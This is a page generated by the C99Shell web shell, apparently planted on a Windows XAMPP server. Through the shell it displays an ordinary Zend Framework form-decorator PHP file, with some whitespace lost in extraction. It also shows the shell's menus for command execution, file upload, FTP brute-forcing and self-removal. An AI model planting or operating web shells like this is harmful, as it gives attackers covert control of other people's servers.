!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\php\PEAR\Zend\Form\Decorator\   drwxrwxrwx
Free 7.95 GB of 239.26 GB (3.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ViewScript.php (4.13 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Form
 * @subpackage Decorator
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */

/** Zend_Form_Decorator_Abstract */
require_once 'Zend/Form/Decorator/Abstract.php';

/**
 * Zend_Form_Decorator_ViewScript
 *
 * Render a view script as a decorator
 *
 * Accepts the options:
 * - separator: separator to use between view script content and provided content (defaults to PHP_EOL)
 * - placement: whether to append or prepend view script content to provided content (defaults to prepend)
 * - viewScript: view script to use
 *
 * The view script is rendered as a partial; the element being decorated is
 * passed in as the 'element' variable:
 * <code>
 * // in view script:
 * echo $this->element->getLabel();
 * </code>
 *
 * Any options other than separator, placement, and viewScript are passed to
 * the partial as local variables.
 *
 * @category   Zend
 * @package    Zend_Form
 * @subpackage Decorator
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: ViewScript.php 18951 2009-11-12 16:26:19Z alexander $
 */
class Zend_Form_Decorator_ViewScript extends Zend_Form_Decorator_Abstract
{
    
/**
     * Default placement: append
     * @var string
     */
    
protected $_placement 'APPEND';

    
/**
     * View script to render
     * @var string
     */
    
protected $_viewScript;

    
/**
     * Set view script
     *
     * @param  string $script
     * @return Zend_Form_Decorator_ViewScript
     */
    
public function setViewScript($script)
    {
        
$this->_viewScript = (string) $script;
        return 
$this;
    }

    
/**
     * Get view script
     *
     * @return string|null
     */
    
public function getViewScript()
    {
        if (
null === $this->_viewScript) {
            if (
null !== ($element $this->getElement())) {
                if (
null !== ($viewScript $element->getAttrib('viewScript'))) {
                    
$this->setViewScript($viewScript);
                    return 
$viewScript;
                }
            }

            if (
null !== ($viewScript $this->getOption('viewScript'))) {
                
$this->setViewScript($viewScript)
                     ->
removeOption('viewScript');
            }
        }

        return 
$this->_viewScript;
    }

    
/**
     * Render a view script
     *
     * @param  string $content
     * @return string
     */
    
public function render($content)
    {
        
$element $this->getElement();
        
$view    $element->getView();
        if (
null === $view) {
            return 
$content;
        }

        
$viewScript $this->getViewScript();
        if (empty(
$viewScript)) {
            require_once 
'Zend/Form/Exception.php';
            throw new 
Zend_Form_Exception('No view script registered with ViewScript decorator');
        }

        
$separator $this->getSeparator();
        
$placement $this->getPlacement();

        
$vars              $this->getOptions();
        
$vars['element']   = $element;
        
$vars['content']   = $content;
        
$vars['decorator'] = $this;

        
$renderedContent $view->partial($viewScript$vars);

        
// Get placement again to see if it has changed
        
$placement $this->getPlacement();

        switch (
$placement) {
            case 
self::PREPEND:
                return 
$renderedContent $separator $content;
            case 
self::APPEND:
                return 
$content $separator $renderedContent;
            default:
                return 
$renderedContent;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--